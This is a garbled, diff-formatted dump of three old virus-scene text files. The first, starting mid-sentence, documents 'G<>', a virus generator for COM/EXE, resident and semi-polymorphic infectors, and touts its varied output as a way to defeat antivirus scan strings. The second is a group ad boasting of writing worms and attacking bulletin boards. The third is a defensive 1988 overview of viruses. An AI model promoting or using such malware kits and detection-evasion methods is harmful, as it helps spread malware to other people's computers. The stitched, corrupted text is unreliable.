programmers alike who wish to learn more about virus programming. A
|
||||
revolutionary tool in virus generation, G<> is both easy to use and
|
||||
unparalleled in performance. As a code generator, it has a number of
|
||||
features including:
|
||||
|
||||
o Easy updates via data files.
|
||||
o Accepts MPC-compliant configuration files.
|
||||
o Different viruses may be generated from identical configuration files.
|
||||
o Small executable size, allowing for speed during load and execution.
|
||||
o Still no IDE - edit the configuration file in your favorite editor and
|
||||
rapidly generate new code; no need for lengthy wait while IDE loads,
|
||||
allowing you to work faster and have results quicker. A definite
|
||||
productivity bonus!
|
||||
o Rapid generation of code, once again allowing for fast results.
|
||||
o Low memory requirements.
|
||||
|
||||
As a virus creation tool, it has the following features:
|
||||
|
||||
o Generates compact, easily modified, fully commented, source code.
|
||||
o COM/EXE infectors.
|
||||
o Resident and nonresident viruses.
|
||||
o Supports multiple, semi-polymorphic encryption routines (full
|
||||
polymorphism coming soon).
|
||||
o Easily upgraded when improvements are needed.
|
||||
|
||||
Clearly, G<> is the most advanced virus code generator available today.
|
||||
|
||||
|
||||
ii
|
||||
|
||||
RESTRICTIONS
|
||||
|
||||
Everyone is free to use this program at no charge except for ex-Senior
|
||||
Engineers of Data Plus, who must pay off the American national debt in
|
||||
order to use this program or view the documentation beyond this page (only
|
||||
one or the other). Payment of the American national debt and a sum not
|
||||
less than said debt to the creator of this program is necessary for the
|
||||
privilege of both using the program AND viewing the documentation. Failure
|
||||
to do so will result in a still penalty.
|
||||
|
||||
This program and this document are copyrighted materials of Dark Angel
|
||||
of Phalcon/Skism. No one may duplicate the document in printed form,
|
||||
either in part or in full, without an appropriate citation. Ex-Senior
|
||||
Engineers of Data Plus are not allowed to duplicate either the program or
|
||||
the document in any case.
|
||||
|
||||
IF YOU ARE A SENIOR ENGINEER, STOP READING NOW. IF YOU ARE OR KNOW OF A
|
||||
SENIOR ENGINEER WHO HAS VIOLATED THE RESTRICTIONS, THEN IT IS YOUR MORAL
|
||||
AND CIVIC DUTY TO CALL THE SPA, ASP, PSA, PAS, OR ANY OTHER ORGANIZATION
|
||||
WITH SOME COMBINATION OF THOSE LETTERS TO REPORT THE VIOLATOR AND TO MAKE
|
||||
SURE HE OR SHE IS PUNISHED TO THE FULLEST EXTENT UNDER THE LAW.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
iii
|
||||
|
||||
RUNNING G<> (HOW DO I GET THE DAMN THING TO WORK?)
|
||||
|
||||
Make sure that the G2.DAT file is in the current directory. Edit the
|
||||
configuration file to set the desired parameters. Then use the following
|
||||
simple command to generate the assembly code:
|
||||
|
||||
G2 [<datafile>] <configfile1> [[<configfile2>] ...]
|
||||
|
||||
Datafile is an optional parameter which allows G<> to use other data
|
||||
modules in lieu of the default (G2.DAT). Configfile refers to the name of
|
||||
the configuration file which G<> uses to determine the characteristics of
|
||||
the generated virus. The sample configuration file, G2.CFG, contains all
|
||||
the information you need to generate your own virus. There can be any
|
||||
number of configuration files following the first parameter. Once invoked,
|
||||
G<> will dutifully create the source code files. To assemble, simply follow
|
||||
the instructions found in the source code files. The source code is
|
||||
written for Turbo Assembler and will not work with other assemblers without
|
||||
modification.
|
||||
|
||||
EXAMPLE:
|
||||
Let's say you have created a configuration file called FOOBAR.CFG and
|
||||
wish to generate a virus from it. Simply type:
|
||||
G2 FOOBAR.CFG
|
||||
and the deed is done. It doesn't get much simpler than this.
|
||||
|
||||
EXAMPLE:
|
||||
Let's say you wish to create viruses from the data file BLIP.DAT and
|
||||
the configuration files BLOP.CFG and BLUP.CFG. At the DOS prompt, type:
|
||||
G2 BLIP.DAT BLOP.CFG BLUP.CFG
|
||||
Two files will then be created.
|
||||
|
||||
G<> HAS THE POWER
|
||||
|
||||
The key to G<>'s power lies in its flexibility in code generation.
|
||||
Source code files created by G<> from identical configuration files almost
|
||||
always differ in both size but not in functionality. G<>'s data files allow
|
||||
for multiple code segments for each given routine. Additionally, the lines
|
||||
of assembly within each routine may be placed in different relative
|
||||
positions by G<>. Consequently, few code segments are stable and it should
|
||||
therefore be tough to find a generic scan string for G<>-generated viruses.
|
||||
Finally, since G<> operates with easily-upgraded data files, any such
|
||||
generic scan string is guaranteed to have a very short life, i.e. until the
|
||||
next release of the data file. As more routines are added, the number of
|
||||
possible viruses will grow exponentially, thereby making a generic scan
|
||||
string approach unwieldy, if not impossible.
|
||||
|
||||
Aside from the inherent power of the code generator, the data file is
|
||||
also an integral part of the G<> package. Since it is written in the G<>
|
||||
metalanguage, it is easily upgraded and maintainable. It is an easy task
|
||||
to redesign the structure of the viruses generated by G<>; it's a simple
|
||||
matter of rearranging the various routines. This allows for both more
|
||||
variety in the generated viruses as well as increasing the difficulty of
|
||||
finding a single generic scan string for G<>.
|
||||
|
||||
STILL NO IDE (INTEGRATED DEVELOPMENT ENVIRONMENT)
|
||||
|
||||
"
|
||||
Everyone agrees that Microsoft Windows is for cripples. Obviously,
|
||||
you, the user of the PS-MPC, are no cripple, so you need no puny IDE with
|
||||
colourful, deluxe windows to aid you. If you are a cripple, go ahead and
|
||||
|
||||
1
|
||||
|
||||
create the configuration file in your favorite Windows text editor. Hell,
|
||||
port the code to the Macintosh and you can be truly crippled (although
|
||||
you'll have your pretty windows and icons).
|
||||
"
|
||||
- From the PS-MPC documentation
|
||||
|
||||
Creating an IDE nowadays is merely an exercise in running a package
|
||||
designed for generating a snazzy interface. Naturally, this is entirely
|
||||
unnecessary and may not even be wanted in many instances, as an IDE adds
|
||||
tremendous amounts of extra code accompanied with a tremendous decrease in
|
||||
execution speed. It's pretty stupid to put an IDE in a code generator;
|
||||
there's simply no need.
|
||||
|
||||
Several analogies come to mind. The first, of course, is that using
|
||||
an IDE is akin to a walking person intentionally crippling his own legs or
|
||||
a sighted person poking her own eyes out. Using an IDE for no reason is
|
||||
like sitting on a porcupine, bashing yourself over the head with a brick,
|
||||
or jabbing yourself in the belly with a hot poker for no reason; it's just
|
||||
not a good idea.
|
||||
|
||||
You want Windows compatability? You want customizable colours? You
|
||||
want CUA/SAA-compliant pull-down menus? Then go write your own interface.
|
||||
You want speed? You want tight code generation? You want to learn how to
|
||||
write viruses? Then G<> will do the job nicely.
|
||||
|
||||
MODIFICATION OF GENERATED FILES
|
||||
|
||||
You are encouraged to alter the generated source code files. You may
|
||||
add to the code in any way except for the addition of malicious code.
|
||||
That's a no no and is frowned upon. The source code is commented for easy
|
||||
modification. Everything is open for modification except for the creation
|
||||
signature string, [PS/G<>]. Leave it in.
|
||||
|
||||
Note that G<> includes absolutely no destructive routines in it. This
|
||||
ensures that those who use G<> must do the dirty work themselves. Any knob
|
||||
can write a hard drive trashing routine or rip such a routine out of a
|
||||
trojan; heck, any programmer worth his salt can write one in his sleep.
|
||||
Remember that G<> is designed not for destruction, but rather for learning.
|
||||
In the hands of a knowledgeable user, G<> may be quite powerful.
|
||||
|
||||
UPGRADES
|
||||
|
||||
Although the G<> package is designed as a virus creator, it is really a
|
||||
generic code generator. The G2.COM file processes the G2.DAT data file to
|
||||
create the virus. The executable contains no inherently virus-oriented
|
||||
data; it is all contained in the data file. This is the key to G<>'s power
|
||||
and ease of upgrade.
|
||||
|
||||
Thus, two types of upgrades are possible with G2: code and data file.
|
||||
Code file upgrades refer to changes in the G2.COM file itself. This will
|
||||
occur periodically as improvements are needed. Data file upgrades are
|
||||
changes in the G2.DAT file. Note that data files are NOT and will NOT be
|
||||
compatible across different versions of G<>. This is to allow for
|
||||
improvements to the file format which may be made during a code upgrade.
|
||||
|
||||
Each release of the code file will be accompanied with a new release
|
||||
of the data file. This does not necessarily mean that the data module is
|
||||
improved; it is simply a convenience to the user. The filename of G<> code
|
||||
file releases will be of the format G2-CXXXY.ZZZ where XXX is the version
|
||||
number, Y is either blank or a 'B' to designate a beta release, and ZZZ is
|
||||
|
||||
2
|
||||
|
||||
the extension of the appropriate archive format. The filename of data
|
||||
upgrades will be of the form G2-DXXXY.ZZZ where XXX is the version of G<>
|
||||
the data file is to be used with, Y is a version number of the data file,
|
||||
and ZZZ is once again the extension of the appropriate archive format.
|
||||
This naming scheme is subject to change without notice.
|
||||
|
||||
ADDITIONAL G<> FILES
|
||||
|
||||
Note: This is not to be confused with the files generated by G2.COM during
|
||||
the course of normal operation, which are to be used freely by the user of
|
||||
G<>.
|
||||
|
||||
Due to the nature of G<>, there are several files which may eventually
|
||||
be made available. The first is the compiler module, which generates the
|
||||
G2.DAT file from several data files. Along with the compiler module will
|
||||
be the data files themselves, which hold the virus code definitions used by
|
||||
G<> in creating source code. These will not be made available for some
|
||||
time, at least until the data module format is stable and I've made pretty
|
||||
much all the improvements that I wish to do. Target version number for
|
||||
release of these files is 35.2.9.31(3), although this may and will be
|
||||
changed at will and without notice.
|
||||
|
||||
I am not releasing the source code at this point simply because of all
|
||||
the hassle I went through after releasing the source to the PS-MPC. The
|
||||
numerous complaints received from people who couldn't compile it properly
|
||||
(due to improper setting of compiler switches) showed that it is difficult
|
||||
to distribute a product in this form. For those that are interested, G<>
|
||||
was written using Turbo C 2.0, an excellent product indeed and the source
|
||||
code was tested with Tasm 2.5.
|
||||
|
||||
PROBLEMS AND FUTURE IMPROVEMENTS
|
||||
|
||||
I'm much happier with G<> and have put more heart into programming it
|
||||
than I had with the PS-MPC. Although I was initially excited with the
|
||||
possibilities of the PS-MPC, it was intrinsically limited and I soon saw
|
||||
that it would grow too bulky to keep up. So I thought up of the idea of
|
||||
the data file and so far it's been working pretty well.
|
||||
|
||||
Although this program was written with less frenzy than the PS-MPC,
|
||||
(it took 3 days versus the 2 for the PS-MPC) it may have a few remaining
|
||||
problems, hence the preversion 1.0, beta designation. The processing of
|
||||
the configuration file is not contained within the data file; I wish to
|
||||
change this sometime. Additionally, I wish to add a bit more functionality
|
||||
and variability into the code generation before version 1.0. Further
|
||||
control of the code generation and a batch creation mode will also be added
|
||||
before version 1.0. A few tidbits to look for: true polymorphism, boot
|
||||
block/partition table/SYS infectors, stealth features, more commenting, and
|
||||
improved speed in data file and source code generation.
|
||||
|
||||
If you should find problems of your own (euphemism for bug), then make
|
||||
sure you tell me what is wrong and it will be fixed as soon as possible.
|
||||
If you have a suggestion for an improvement in the code, or even have
|
||||
alternate code fragments, then send them to me and they may be incorporated
|
||||
into subsequent releases of the data file.
|
||||
|
||||
If you should further run into any problems in learning how to use G<>,
|
||||
then be sure to get word to me. Even post it on FidoNet if you wish; I
|
||||
don't mind feedback in a public forum. Although I will not stoop to the
|
||||
level of a GUI-making, toolkit-using programmer-drone, I will try to make
|
||||
using G<> as simple as possible and may possibly release a tiny shell which
|
||||
|
||||
3
|
||||
|
||||
will automatically place the appropriate parameters in a configuration file
|
||||
suitable for use with G<>.
|
||||
|
||||
Of course, if you have any positive comments, feel free to post them
|
||||
anywhere I'm likely to be; either leave me email at a particular board that
|
||||
I frequent (make sure it's the right Dark Angel) or leave a public message
|
||||
on FidoNet or another net that I am likely to read. Don't be too critical
|
||||
of ex-Senior Engineers; they have nothing better to do than bash virus
|
||||
writers.
|
||||
|
||||
CONCLUSION
|
||||
|
||||
G<> represents a new level in modern virus creation. Although nothing
|
||||
can possibly beat either the quality or the thrill of a hand-crafted virus,
|
||||
the viruses generated by G<> are quite powerful and useful for learning how
|
||||
to write your own viruses.
|
||||
|
||||
Where does it go from here? Only ex-senior engineers of Data Plus
|
||||
have been entrusted by the government to know this secret information.
|
||||
However, secret agents have infiltrated the tight safety net surrounding
|
||||
said senior engineers and this knowledge will be made publically available
|
||||
at the appropriate time.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
4
|
||||
|
||||
HISTORY OF VIRUS TOOLKITS
|
||||
|
||||
Note: The original text from which this was based, the PS-MPC
|
||||
documentation, has been copied extensively by journals such as Virus
|
||||
Bulletin and presented as their own text. If you copy the text, it is
|
||||
expected that you cite the source. It's not very nice to plagiarize and
|
||||
your mommy might scold you if she knew what you were up to.
|
||||
|
||||
The first known virus toolkit was called VCS, or Virus Construction
|
||||
Set. This program generated a new virus each time it was run. However,
|
||||
there were no code differences at all between any two viruses generated by
|
||||
VCS. All viruses generated were 1077 bytes in length and all could be
|
||||
detected with the identical scan string. The advantage in this approach
|
||||
was that the user needed absolutely no knowledge of 8086 assembly to take
|
||||
advantage of this program. This program of limited usefulness spawned only
|
||||
one well-known variant called Manta. It is hardly worth mentioning here.
|
||||
|
||||
The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation
|
||||
Engine (MtE). This magnificent work of Bulgarian coding allowed virus
|
||||
authors to create viruses with an almost limitless number of decryption
|
||||
routines. Although the author needed to know how to write 8086 assembly
|
||||
code, no knowledge of the inner workings of MtE save the entry parameters
|
||||
was needed to use this toolkit. It has since spawned several viruses,
|
||||
including Dedicated, Pogue, Fear, and Groove.
|
||||
|
||||
The next virus toolkit to be released was VCL, or Virus Construction
|
||||
Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed
|
||||
the user many options, including the creation of parasitic COM infectors,
|
||||
overwriting COM/EXE "infectors," spawning EXE "infectors," trojan horses
|
||||
and logic bombs. The only thing missing from this motley assortment of
|
||||
formats was the ANSI bomb. Since it could handle parasitic infections only
|
||||
of the COM file format, it was of limited usefulness. Additionally, it
|
||||
incorporated only one decryption formula, once again limiting its
|
||||
usefulness. Further, the initial release included a quirky installation
|
||||
program which failed to install properly under certain conditions. An
|
||||
errant pointer probably contributed to another bug, which occasionally
|
||||
caused garbled source code to be produced. Perhaps the worst bug of VCL
|
||||
was the failure of some of the generated programs to work properly. On the
|
||||
bright side, however, this package contained a colourful IDE loosely based
|
||||
on the Borland interface. This IDE was easy to use and even the average
|
||||
Joe could understand how to use it without understanding 80x86 assembly.
|
||||
Unfortunately, the activation routines included with the package were of
|
||||
limited usefulness. Most of these involved manipulating the BIOS memory
|
||||
area at segment 40h and seemed to be mere afterthoughts, rather than
|
||||
planned "features." Virus researchers quickly dismissed VCL's importance,
|
||||
as it was primarily an overblown Vienna hack generator and incapable of
|
||||
generating dangerous viruses. The Vienna ancestry of VCL was apparent in
|
||||
many of its "options" such as virulence rate and PATH= tracing. The F-Prot
|
||||
which existed during the release of VCL immediately scanned most viruses
|
||||
created by VCL as Vienna hacks. VCL 2.0, so far merely vaporware, is
|
||||
rumored to fix the previous version's many problems. However, the package
|
||||
will continue to be haunted by its ancestry and its inherently crippled
|
||||
nature due to being a first generation virus creator.
|
||||
|
||||
The latest virus toolkit was the Phalcon/Skism Mass-Produced Code
|
||||
generator (PS-MPC). Released shortly after VCL, this product, written by
|
||||
Dark Angel, had none of the problems associated with VCL. Although this
|
||||
virus generator didn't create overwriting COM/EXE "infectors," spawning EXE
|
||||
"infectors," trojan horses, or even logic bombs, it could handle parasitic
|
||||
COM and EXE infectors with ease. It also had a random
|
||||
|
||||
A
|
||||
|
||||
encryption/decryption algorithm, allowing well over 150 possible routines
|
||||
in that area. Version 0.91<EFBFBD> incorporated both resident and nonresident
|
||||
infectors. No previous virus toolkit could generate resident viruses,
|
||||
generic or otherwise. Further, the PS-MPC had no IDE to cripple the user,
|
||||
clearly an advantage, as the program lacked the overhead associated with an
|
||||
IDE. Thus, the PS-MPC was a good tool for learning how to write viruses as
|
||||
well as an excellent method of creating good viruses. The PS-MPC was not
|
||||
intended to be used destructively; no destruction routines were
|
||||
incorporated. Therefore, irresponsible dissemination of destructive code
|
||||
was not initiated; rather, it left the activation of the virus up to the
|
||||
user. Interestingly, although released soon after VCL 1.0, the PS-MPC
|
||||
version 0.90<EFBFBD> fulfilled the "wish list" for VCL 2.0 and the PS-MPC version
|
||||
0.91<EFBFBD> improved still further, with the capability of creating full-fledged
|
||||
resident infectors. Another bonus was the availability of the source code,
|
||||
which allowed extensions of the core program.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
B
|
2375
textfiles.com/virus/gao_rpt
Normal file
2375
textfiles.com/virus/gao_rpt
Normal file
File diff suppressed because it is too large
Load Diff
69
textfiles.com/virus/gf.txt
Normal file
69
textfiles.com/virus/gf.txt
Normal file
@@ -0,0 +1,69 @@
|
||||
|
||||
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
||||
<20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
||||
<20><> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20> <20><> <20><>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><> <20> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><>
|
||||
<20><> <20> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
An H/P/A/V/C Oriented Computer Organization
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
We, at General Failure, specialize in making computer activities
|
||||
a lot more exciting, by creating phunky worms, eliminating lame
|
||||
boards, programming weird viral tools, etc.
|
||||
|
||||
|
||||
|
||||
General Failure Members
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
Alex; Ara<72>a; Billy; George; Herbais;
|
||||
JM; Oro; Pablito ; Pipa; Walt DiZnEy
|
||||
|
||||
|
||||
|
||||
|
||||
General Failure Can Be Reached At These Kool Boards
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
-- Endless Riddance --
|
||||
Everyday, From 11Pm To 7Am.
|
||||
Phone Number: (Confidential, By Now)
|
||||
|
||||
|
||||
|
||||
-- No Future --
|
||||
Mondays To Fridays, From 11Pm To 7Am.
|
||||
Phone Number: 541-923-1876
|
||||
** An Official GF Distribution Site **
|
||||
|
||||
|
||||
|
||||
-- Perpetual XTC --
|
||||
Everyday, From 11Pm To 7Am.
|
||||
Phone Number: 541-827-2511
|
||||
** An Official GF Distribution Site **
|
||||
|
||||
|
||||
|
||||
-- Satanic Brain --
|
||||
Everyday, 24hs A Day!
|
||||
Phone Number: 541-383-7480
|
||||
** Official NuKE International Site **
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Check Out For Our New Releases!
|
||||
|
||||
|
552
textfiles.com/virus/glath.vir
Normal file
552
textfiles.com/virus/glath.vir
Normal file
@@ -0,0 +1,552 @@
|
||||
|
||||
|
||||
|
||||
|
||||
COMPUTER VIRUSES: A RATIONAL VIEW
|
||||
|
||||
by: Raymond M. Glath
|
||||
President
|
||||
|
||||
RG Software Systems, Inc.
|
||||
2300 Computer Ave.
|
||||
Suite I-51
|
||||
Willow Grove, PA 19090
|
||||
(215) 659-5300
|
||||
|
||||
|
||||
April 14, 1988
|
||||
|
||||
|
||||
WHAT ARE COMPUTER VIRUSES?
|
||||
(a.k.a. Trojan Horses, Worms, Time Bombs, Sabotage)
|
||||
|
||||
Any software that has been developed specifically for the purpose
|
||||
of interfering with a computer's normal operations.
|
||||
|
||||
|
||||
WHAT DO THEY DO?
|
||||
|
||||
There are two major categories of viruses.
|
||||
|
||||
Destructive viruses, that cause:
|
||||
|
||||
Massive destruction...
|
||||
ie: Low level format of disk(s), whereby any programs
|
||||
and data on the disk are not recoverable.
|
||||
|
||||
Partial destruction...
|
||||
ie: Erasure or modification of a portion of a disk.
|
||||
|
||||
Selective destruction...
|
||||
ie: Erasure or modification of specific files or file
|
||||
groups.
|
||||
|
||||
Random havoc... The most insidious form of all.
|
||||
ie: Randomly changing data on disk or in RAM during
|
||||
normal program applications, or changing keystroke
|
||||
values, or data from other input/output devices,
|
||||
with the result being an inordinate amount of time
|
||||
to discover and repair the problem, and damage
|
||||
that may never be known about.
|
||||
|
||||
Non-Destructive viruses, intended to cause attention to the
|
||||
author or to harass the end user.
|
||||
|
||||
a. Annoyances...
|
||||
ie: Displaying a message, changing display colors,
|
||||
changing keystroke values such as reversing the
|
||||
effect of the Shift and Unshift keys, etc.
|
||||
|
||||
|
||||
WHAT IS THE IMPACT OF A VIRUS ATTACK BEYOND THE OBVIOUS?
|
||||
|
||||
Lost productivity time !!!
|
||||
|
||||
In addition to the time and skills required to re-construct
|
||||
damaged data files, viruses can waste a lot of time in many other
|
||||
ways.
|
||||
|
||||
With either type of virus, the person subjected to the attack as
|
||||
well as many support personnel from the attacked site and from
|
||||
various suppliers, will sacrifice many hours of otherwise
|
||||
productive time:
|
||||
|
||||
Time to determine the cause of the attack.
|
||||
The removal of the virus code from the system.
|
||||
The recovery of lost data.
|
||||
The detective work required to locate the original source of
|
||||
the virus code.
|
||||
|
||||
Then, there's the management time required to determine how
|
||||
this will be prevented in the future.
|
||||
|
||||
|
||||
WHO DEVELOPS VIRUSES?
|
||||
|
||||
This individual, regardless of his specific motivation, will most
|
||||
probably want to see some form of publicity resulting from his
|
||||
handiwork. Anywhere from a "Gotcha" message appearing on the
|
||||
computer's screen after the attack, to major press coverage of
|
||||
that particular virus' spread and wake of damage.
|
||||
|
||||
Some of the reasons for someone to spend their time developing a
|
||||
virus program are:
|
||||
|
||||
A practical joke.
|
||||
A personal vendetta against a company or another person.
|
||||
ie: a disgruntled employee.
|
||||
The computer-literate political terrorist.
|
||||
Someone trying to gain publicity for some cause or
|
||||
product.
|
||||
The bored, un-noticed "genius," who wants attention.
|
||||
The mentally disturbed sociopath.
|
||||
|
||||
|
||||
IS THE THREAT REAL?
|
||||
|
||||
Yes, however thus far the destructive ones have primarily been in
|
||||
the Academic environment. Several attacks have been documented by
|
||||
the press, and, from first hand experience, I can attest to the
|
||||
fact that those reported do exist. We have seen some of them and
|
||||
successfully tested our Disk Watcher product against them.
|
||||
|
||||
Reputable individuals have reported additional viruses to us, but
|
||||
these have not reached the scale of distribution achieved by the
|
||||
now infamous "Lehigh," "Brain," "Israeli," and "MacIntosh"
|
||||
viruses.
|
||||
|
||||
We do expect the situation to worsen due to the attention it's
|
||||
received. Taking simple lessons from history, a new phenomenon,
|
||||
once given attention, will be replicated by individuals who
|
||||
otherwise have no opportunity for personal attention.
|
||||
|
||||
Now that there are products for defense from viruses, the virus
|
||||
writers have been given a challenge; and for those people who
|
||||
have always wanted to anonymously strike out at someone but
|
||||
didn't know of a method to do so, the coverage has provided a
|
||||
"How To" guide.
|
||||
|
||||
|
||||
HOW DOES A VIRUS GET INTO YOUR COMPUTER SYSTEM?
|
||||
|
||||
A virus may be entered into a system by an unsuspecting user who
|
||||
has been duped by the virus creator (Covert entry), or it may be
|
||||
entered directly by the creator. (Overt entry.)
|
||||
|
||||
Examples of Covert entry of a virus into a computer
|
||||
system.
|
||||
|
||||
A "carrier" program such as a "pirate" copy of a
|
||||
commercial package that has been tampered with, is
|
||||
utilized by the un-suspecting user, and thus
|
||||
enters the virus code into the system.
|
||||
|
||||
Other types of carriers could be programs from
|
||||
Bulletin Boards that have been either tampered
|
||||
with or specifically designed as viruses, but
|
||||
disguised as useful programs. There has even been
|
||||
a destructive virus disguised as a "virus
|
||||
protection" program on a BBS.
|
||||
|
||||
The user unknowingly acquires an "infected" disk
|
||||
and uses it to boot the system.
|
||||
|
||||
The virus has been hidden in the system files and
|
||||
then hides itself in system RAM or other system
|
||||
files in order to reproduce, and later, attack.
|
||||
|
||||
|
||||
Examples of Overt entry into a computer system.
|
||||
|
||||
An individual bent on harassing the user or
|
||||
sabotaging the computer system, modifies an
|
||||
existing program on that computer or copies a
|
||||
virus program onto someone's disk during their
|
||||
absence from their work station.
|
||||
|
||||
|
||||
HOW DOES A VIRUS SPREAD?
|
||||
|
||||
A virus may reproduce itself by delaying its attack until it has
|
||||
made copies of itself onto other disks (Active reproduction,) or
|
||||
it may depend entirely on unsuspecting users to make copies of it
|
||||
and pass them around (Passive reproduction). It may also use a
|
||||
combination of these methods.
|
||||
|
||||
|
||||
WHAT TRIGGERS THE VIRUS ATTACK?
|
||||
|
||||
Attacks begin upon the occurrence of a certain event, such as:
|
||||
|
||||
On a certain date.
|
||||
At a certain time of day.
|
||||
When a certain job is run.
|
||||
After "cloning" itself n times.
|
||||
When a certain combination of keystrokes occurs.
|
||||
When the computer is restarted.
|
||||
|
||||
One way or another, the virus code must put itself into a
|
||||
position to either start itself when the computer is turned on,
|
||||
or when a specific program is run.
|
||||
|
||||
|
||||
HOW DOES ONE DISTINGUISH A VIRUS FROM A "BUG" IN A PROGRAM OR A
|
||||
HARDWARE MALFUNCTION?
|
||||
|
||||
This can be a tough one. With the publicity surrounding viruses,
|
||||
many people are ready to believe that any strange occurrence
|
||||
while computing may have been caused by a virus, when it could
|
||||
simply be an operational error, hardware component failure, or a
|
||||
software "bug."
|
||||
|
||||
While most commercial software developers test their products
|
||||
exhaustively, there is always the possibility that some
|
||||
combination of hardware; mix of installed TSR's; user actions; or
|
||||
slight incompatibilities with "compatible" or "clone" machines or
|
||||
components; can cause a problem to surface.
|
||||
|
||||
We need to remember some key points here:
|
||||
|
||||
1. Examine the probabilities of your having contacted a virus.
|
||||
|
||||
2. Don't just assume that you've been attacked by a virus and
|
||||
abandon your normal troubleshooting techniques or those
|
||||
recommended by the product manufacturers.
|
||||
|
||||
3. When in doubt contact your supplier or the manufacturer for
|
||||
tech support.
|
||||
|
||||
4. Having an effective "Virus Protection" system installed may
|
||||
help you determine the cause of the problem.
|
||||
|
||||
|
||||
